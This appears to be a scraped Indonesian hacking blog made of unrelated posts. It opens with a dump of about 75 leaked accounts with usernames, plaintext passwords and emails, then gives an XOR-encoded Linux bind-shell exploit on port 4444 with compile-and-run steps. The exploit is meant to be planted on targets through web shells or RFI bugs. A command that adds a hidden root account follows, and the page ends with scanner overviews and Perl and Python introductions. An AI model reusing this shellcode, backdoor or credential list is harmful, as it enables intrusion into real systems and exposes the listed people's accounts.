jangan tanya dapet dari mana ;-P 100% full bisa work sampe terakhir test masih ada ratusan lagi.. di post segini aja

id:user:password:email

1     yusuf     hadiwinata123     me@yusufhadiwinata.com
2     xpinx2pin     pingpong     xpinx2pin@gmail.com
92     rezasetan     12091992     reza.maulana92@gmail.com
4     g-up-trial1     a6point     trialaja@yahoo.com
5     oyik_spy     190481     oyik_spy@yahoo.co.id
6     SpellBorn     sp787377     angkasabiru@yahoo.com
8     the master     janganlupa     robert_wijayalim@yahoo.co.id
9     abub     02122007     a2_ct@yahoo.co.id
10     firlando     fuckall     firlando@diamondindo.com
11     luchs     ganteng     vodka_galatica@yahoo.com
396     pritohalim     cakung     syarifhalim@yahoo.com
391     razgriz     rendezvous     ofnier@gmail.com
17     windsor     210684     arumbinang@live.com
19     R_j     jambi123     rthrht@gmail.com
392     kalaman     121086     guo_qin_minf5@yahoo.com
21     jurigs     j123456rg     yandi.coco@gmail.com
22     p.ryant     mellodia     gink_prix@yahoo.co.id
23     senchingpink     123456789     sendra.07@gmail.com
25     ferdy     lazharus     elek_08@yahoo.com
26     budimanchan     badman     budimanchan@yahoo.com
27     inyonge     dewiretnosari     m.chaqim@yahoo.co.id
28     Uchida     bighurt02     uchida.orange@yahoo.com
29     gNa     ganabgt     ganajagitu@yahoo.com
30     mice     betindo72     betalm_3@hotmail.com
31     stress     147852     widhie_doank@yahoo.co.id
32     co_ganjen     112280     novalia@plasa.com
33     scumare     senopati     scumare@yahoo.co.id
394     snowman38     m4rk3r     blue_phoenix038@yahoo.com
36     malaikatjudi     plokijuh     iwan.draca@gmail.com
393     finish     hunter     s_kim_boys@yahoo.co.id
38     adrianimperial     2428     adrianmochtar@yahoo.co.id
365     kendro     galang     theblues83@gmail.com
40     user_ndablek     1928123     usb_kidz@yahoo.com
41     gadsar     sarawa     gadsarw@gmail.com
402     macanmiring     12345     macanmiring20@gmail.com
45     zeronet     ferada     mr_pnis@yahoo.com
46     ViperCiamiK     123456     viperciamik@yahoo.com
47     iwa_n     konsel     ichwa_n@yahoo.com
48     littlejava     isganda85     calcio_mania@yahoo.com
50     mastermon     mamamama     master_hhp@plasa.com
51     aagaul     raihan     jose_aulia_cfc@yahoo.co.id
52     batongsai     230386     xb_joky@yahoo.com
53     greencard     nokia     radipta91@yahoo.com
386     HirakoShinji     luki7697877     panzer_f4ust@yahoo.co.id
385     blueblue88     8888     fair_way88@yahoo.com
56     r4ndyx     r4ndyxx     r4ndy_x@yahoo.com
57     dotcom     dotcodotid     dotco_m@yahoo.com
383     gueconan     123456     gueconan@yahoo.co.id
382     njie     tetsu     njie.chan@gmail.com
437     andre_sangkara     081931773331     andre_sangkara@yaho.co.id
407     bafana     josephyra     ka_el90@rocketmail.com
405     shamataclan     somadnurie     sandypamadyadrg@yahoo.com
63     bin_cool     bambukia     bin_cool89@yahoo.com
406     panglima     sahabat     rex_djanoear@yahoo.co.id
65     okaja     872587     herychin_hy@yahoo.com
381     rezaboy     12091992     reza_devils92@yahoo.co.id
67     alien     sayaalien     sapinakal@gmai.com
68     echa90echa     cipete     echa90echa@yahoo.com
69     gateway     192021     g4t3w4y@gmail.com
348     g-up-trial5     a6point     trial5@yahoo.com
71     coolz23     coolz123     coolz23@yahoo.com
72     nimda     023980714     d_hirsandhie@yahoo.com.sg
73     bluesky     261287     kim_chaws@yahoo.com
74     dracquila     cruecio     c_marchel@yahoo.com
370     kekar.brown     inuldaratista     kekar.brown@gmail.com
76     Honky     hazkia     rizkyrudiansyah@yahoo.com

*sebelum bindtty di eksekusi

A || <------ B
* setelah di eksekusi
A=<----- B
di bawah ini adalah contoh skrip bind port 4444 yang bisa langsung dicompile dan dijalankan.

/*

      Author: Rick
    Email: rick2600@hotmail.com

    OS: Linux/x86
    Description: Port Bind 4444 ( xor-encoded )

--------------------------------------------------------------------
section .text
 global _start

_start:

 ;socket (PF_INET, SOCK_STREAM, 0)
 push byte 0x66
 pop eax
 push byte 0x01
 pop ebx
 xor ecx, ecx
 push ecx
 push byte 0x01
 push byte 0x02
 mov ecx, esp
 int 0x80

 mov esi, eax ;save file descriptor

 ;bind (sockfd, server, len)
 xor edx, edx
 push edx
 push word 0x5c11
 push word 0x02
 mov ecx, esp
 push byte 0x10
 push ecx
 push eax
 mov ecx, esp
 mov bl, 0x02
 push byte 0x66
 pop eax
 int 0x80

 ;listen
 mov al, 0x66
 mov bl, 0x04
 int 0x80

 ;accept
 push edx
 push esi
 mov ecx, esp
 inc ebx
 push byte 0x66
 pop eax
 int 0x80

 mov ebx, eax ;save file descriptor

 ;dup2(sockfd, 2); dup2(sockfd, 1); dup2(sockfd, 0)
 push byte 0x02
 pop ecx
 do_dup:
     push byte 0x3f
     pop eax
     int 0x80
 loop do_dup
     push byte 0x3f
     pop eax
     int 0x80

 ; execve ("/bin/sh", ["/bin/sh", "-i"], 0);
 xor edx, edx
 push edx
 push 0x68732f6e
 push 0x69622f2f
 mov ebx, esp
 push edx
 push word 0x692d
 mov ecx, esp
 push edx
 push ecx
 push ebx
 mov ecx, esp
 push byte 0x0b
 pop eax
 int 0x80

 ;exit(0)
 push byte 0x01
 pop eax
 xor ebx, ebx
 int 0x80
--------------------------------------------------------------------
*/

#include 
#include 

char code[] =
"\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
"\x76\x33\x77\x97\xff\x4c\x4f\x4d\x97\xff"
"\x74\x15\x46\xd3\x9e\x74\x1f\x46\x2f\xc5"
"\xd3\x9e";

int main(void)
{
printf("length: %d\n", strlen(code));

void (*shellcode)();
shellcode = (void *)code;
shellcode();
return (0);

}

pada komputer A

save dengan nama sesuka kalian.
cnth :

bind.c

compile skrip tersebut:

gcc bind.c -o bind

dan jalankan

./bind

lalu pada komputer attckr (B) lakukanlah telnet ke IP taget dengan port 4444 sesuai binding port yang kita buka di komputer taget.
dengan perintah

telnet IP_TRGT 4444

====
lalu bagaimna cara kita mensave bind.c pada komputer target???
biasanya ini biasa dilakuakn pada saat attckr mempunya sebuah phpshell/shell yang berjalan pada aplikasi web, ataupun bugs RFI yang terdapat pada aplikasi web taget.
jadi rajin2 dah, cari bugs di target mu

Organize by

( Gunadarma X-Malang Research Groups )

d0n’t 4get! 0ct 19,2009

Auditorium J X-Malang, Gunadarma University

stick 2 gether team!

supp0rted by :

BeLL ( KPLI – Bekasi )

OSUM ( Open Source University Meetup )

OCC ( Opera Campus Crew )

di shell ketik :

#/usr/sbin/adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M nick_account_baru

dan penjelasanya adalah :

adduser : Command to create a user in linux
-u : Set the value of user id to 0 which is generally root user id.
-o : Set the value of user id to 0 which is generally root user id.
-g : Set the initial group number to to 0 generally root user group
-G : Supplementary groups 0=root, 1=bin, 2= daemon, 3 = sys, 4= adm, 6=disk, 10 = wheel
-M : User home directory will not be created

CMIIWW!!!
enjoy bro

hampir sama dengan Acunetix , nikto menyediakan scanner XSS,SQL inject, LFI n RFI scanner , dan masih banyak kemampuannya, bahkan Online Bruteforce pun dilakukan , sampai dengan terakhir saya cek NIKTO saat ini mencapai versi 2.04 yang dapat di download di situs resminya di http://cirt.net/nikto2 atau bisa di download di mirror saya sendiri

dan yang perlu diingat adalah t00ls ini terbuat dari bahasa pemograman perl, yang mengharuskan anda mempunyai interpreter PERL di b0x (Komputer) anda, jika anda menggunakan Operating System Linux, enjoy u must online 2 u’r fav repository , tapi jika anda menggunakan Windows anda bisa melihat artikel saya tentang ActivePerl .

wkekwkewkekwke

screenshot ]===========================================================

menu help pada NIKTO

C:\Documents and Settings\v0d\Desktop\nikto>nikto.pl
- Nikto v2.03/2.04
-Cgidirs+ scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/"
-dbcheck check database and other key files for syntax errors (cannot be abbreviated)
-evasion+ ids evasion technique
-Format+ save file (-o) format
-host+ target host
-Help Extended help information
-id+ host authentication to use, format is userid:password
-mutate+ Guess additional file names
-output+ write output to this file
-port+ port to use (default 80)
-Display+ turn on/off display outputs
-ssl force ssl mode on port
-Single Single request mode
-timeout+ timeout (default 2 seconds)
-Tuning+ scan tuning
-update update databases and plugins from cirt.net (cannot be abbreviated)
-Version print plugin and database versions
-vhost+ virtual host (for Host header)
+ requires a value


For Using :

author : edwin

Periksa keamanan situs web anda dengan Acunetix Web Vulnerability Scanner

Sebanyak 80% dari situs web mempunyai hole yang bisa menyebabkan pencurian data bisnis yang peka seperti informasi kartu kredit dan daftar pelanggan.

Acunetix Web Vulnerability Scanner menyediakan inovatif features:

Javascript analyzer yang membolehkan pengujian keamanan Ajax and Web 2.0 applications
SQL injeksi dan Cross Site Scripting testing
Intelligent crawler untuk mengetahui jenis jaringan server dan bahasa yang digunakan
Dan fitur laennya lah… Coba explore sendiri.. dan temukan hole web mu

kmarin kita sudah membahas pengenalan program pendukung bahasa pemograman PYTHON, dan sekarang saatnya PERL

introduction ] ===============================================================

Perl adalah bahasa pemrograman untuk segala keperluan, dikembangkan pertama kali oleh Larry Wall di mesin Unix. Perl dirilis pertama kali pada tanggal 18 Desember 1987 ditandai dengan keluarnya Perl 1. Pada versi-versi selanjutnya, Perl tersedia pula untuk berbagai sistem operasi varian Unix (SunOS, Linux, BSD, HP-UX), juga tersedia untuk sistem operasi seperti DOS, Windows, PowerPC, BeOS, VMS, EBCDIC, dan PocketPC. Dukungan terhadap pemrograman berbasis obyek (object oriented programming/OOP) ditambahkan pada Perl 5, yang pertama kali dirilis pada tanggal 31 Juli 1993. Proyek pengembangan Perl 6 dimulai pada tahun 2000, dan masih berlangsung hingga kini tanpa tanggal yang jelas kapan mau dirilis. Ini dikatakan sendiri oleh Larry Wall^[1] dalam satu pidatonya yang dikenal dengan seri The State of the Onion.

Dua di antara karakteristik utama Perl adalah penanganan teks dan berbagai jalan pintas untuk menyelesaiakn persoalan-persoalan umum. Tidak heran jika Perl sangat populer digunakan dalam program-program CGI (Common Gateway Interface) dan berbagai protokol Internet lainnya. Seperti diketahui, TCP/IP sebagai basis bagi semua protokol Internet yang dikenal sekarang ini menggunakan format teks dalam komunikasi data. Seperti juga bahasa populer lainnya, Perl menerima banyak kritikan. Meski banyak di antaranya hanya berupa mitos, atau berlebih-lebihan, tapi terdapat juga sejumlah kritikan yang valid. Salah satunya adalah, sintaksnya susah dibaca, karena banyak menggunakan simbol-simbol yang bukan huruf dan angka.

Larry Wall menegaskan bahwa bahasa pemrograman yang diciptakannya diberi nama Perl (dengan P besar), sedangkan perl (dengan p kecil) adalah nama untuk program interpreter yang menjalankan kode sumber yang ditulis dengan bahasa Perl. Korelasi kedua nama ini ditegaskan oleh Tom Christiansen dalam ungkapan only perl can parse Perl, atau Nothing but perl can parse Perl. Nama perl sebagai sebuah program, mengikuti konsensus penamaan program di sistem Unix, yaitu pendek dan semua ditulis huruf kecil (kalau di Windows nama program ini adalah perl.exe). Baik Perl maupun perl bukanlah sebuah singkatan atau akronim. Jadi, penulisan PERL (semua huruf besar) dianggap salah, tidak berdasar, dan sama sekali tidak akurat jika dihubungkan dengan Perl sebagai bahasa pemrograman^[2].

Baru belakangan Larry Wall memberikan kepanjangan Practical Extraction and Reporting Language. Mungkin karena terkesan serius dan sangat relevan, kepanjangan ini secara salah sering dirujuk sebagai kepanjangan resmi dari Perl. Barangkali untuk mencegah kesalahpahaman, atau karena Larry Wall memang suka bercanda, dia mengumumkan kepanjangan lain, yaitu Pathologically Eclectic Rubbish Lister. Dan, yang terbaru adalah People Excel at Relational Labor, untuk menggambarkan bahwa perkembangan Perl tidak terlepas dari keterlibatan dan komimen komunitas^[3].

Di luar itu, berkembang kreasi-kreasi lain untuk membuat kepanjangan Perl, baik yang bermaksud serius maupun bercanda, bahkan ada juga yang sifatnya merendahkan atau melecehkan.

ActivePerl dari ActiveState.Com pun menyediakan untuk pengguna windows
dengan fitur GUI interpreter dan bisa juga dijalankan di CLI mode ( CMD )
dengen kemudahan ini harusnya membuat kita semakin tertarik akan bahasa pemograman ini

anda bisa mendownloadnya di :
http://activestate.com/activeperl/

atau di mirror saya

ref ]======================================================

1. wikipedia

ActivePython dari ActiveState.Com yang menyediakannya
dengan fitur GUI interpreter dan bisa juga dijalankan di CLI mode ( CMD )
dengen kemudahan ini harusnya membuat kita semakin tertarik akan bahasa pemograman ini

Python adalah bahasa pemrograman dinamis yang mendukung pemrograman berorientasi obyek. Python dapat digunakan untuk berbagai keperluan pengembangan perangkat lunak dan dapat berjalan di berbagai platform sistem operasi. Seperti halnya bahasa pemrograman dinamis, python seringkali digunakan sebagai bahasa skrip.

Python dikembangkan oleh Guido van Rossum pada tahun 1990 di CWI, Amsterdam sebagai kelanjutan dari bahasa pemrograman ABC. Versi terakhir yang dikeluarkan CWI adalah 1.2.

Tahun 1995, Guido pindah ke CNRI sambil terus melanjutkan pengembangan Python. Versi terakhir yang dikeluarkan adalah 1.6. Tahun 2000, Guido dan para pengembang inti Python pindah ke BeOpen.com yang merupakan sebuah perusahaan komersial dan membentuk BeOpen PythonLabs. Python 2.0 dikeluarkan oleh BeOpen. Setelah mengeluarkan Python 2.0, Guido dan beberapa anggota tim PythonLabs pindah ke DigitalCreations.

Saat ini pengembangan Python terus dilakukan oleh sekumpulan pemrogram yang dikoordinir Guido dan Python Software Foundation. Python Software Foundation adalah sebuah organisasi non-profit yang dibentuk sebagai pemegang hak cipta intelektual Python sejak versi 2.1 dan dengan demikian mencegah Python dimiliki oleh perusahaan komersial. Saat ini distribusi Python sudah mencapai versi 2.6.1 dan versi 3.0.

Nama Python dipilih oleh Guido sebagai nama bahasa ciptaannya karena kecintaan guido pada acara televisi Monty Python’s Flying Circus. Oleh karena itu seringkali ungkapan-ungkapan khas dari acara tersebut seringkali muncul dalam korespondensi antar pengguna Python.

Beberapa fitur yang dimiliki Python adalah:

• memiliki kepustakaan yang luas; dalam distribusi Python telah disediakan modul-modul ’siap pakai’ untuk berbagai keperluan.
• memiliki tata bahasa yang jernih dan mudah dipelajari.
• memiliki aturan layout kode sumber yang memudahkan pengecekan, pembacaan kembali dan penulisan ulang kode sumber.
• berorientasi obyek.
• memiliki sistem pengelolaan memori otomatis (garbage collection, seperti java)
• modular, mudah dikembangkan dengan menciptakan modul-modul baru; modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.
• memiliki fasilitas pengumpulan sampah otomatis, seperti halnya pada bahasa pemrograman Java, python memiliki fasilitas pengaturan penggunaan ingatan komputer sehingga para pemrogram tidak perlu melakukan pengaturan ingatan komputer secara langsung.

anda bisa mendownloadnya di :
http://activestate.com/activepython/

atau di mirror saya

screenshot ]======================================================================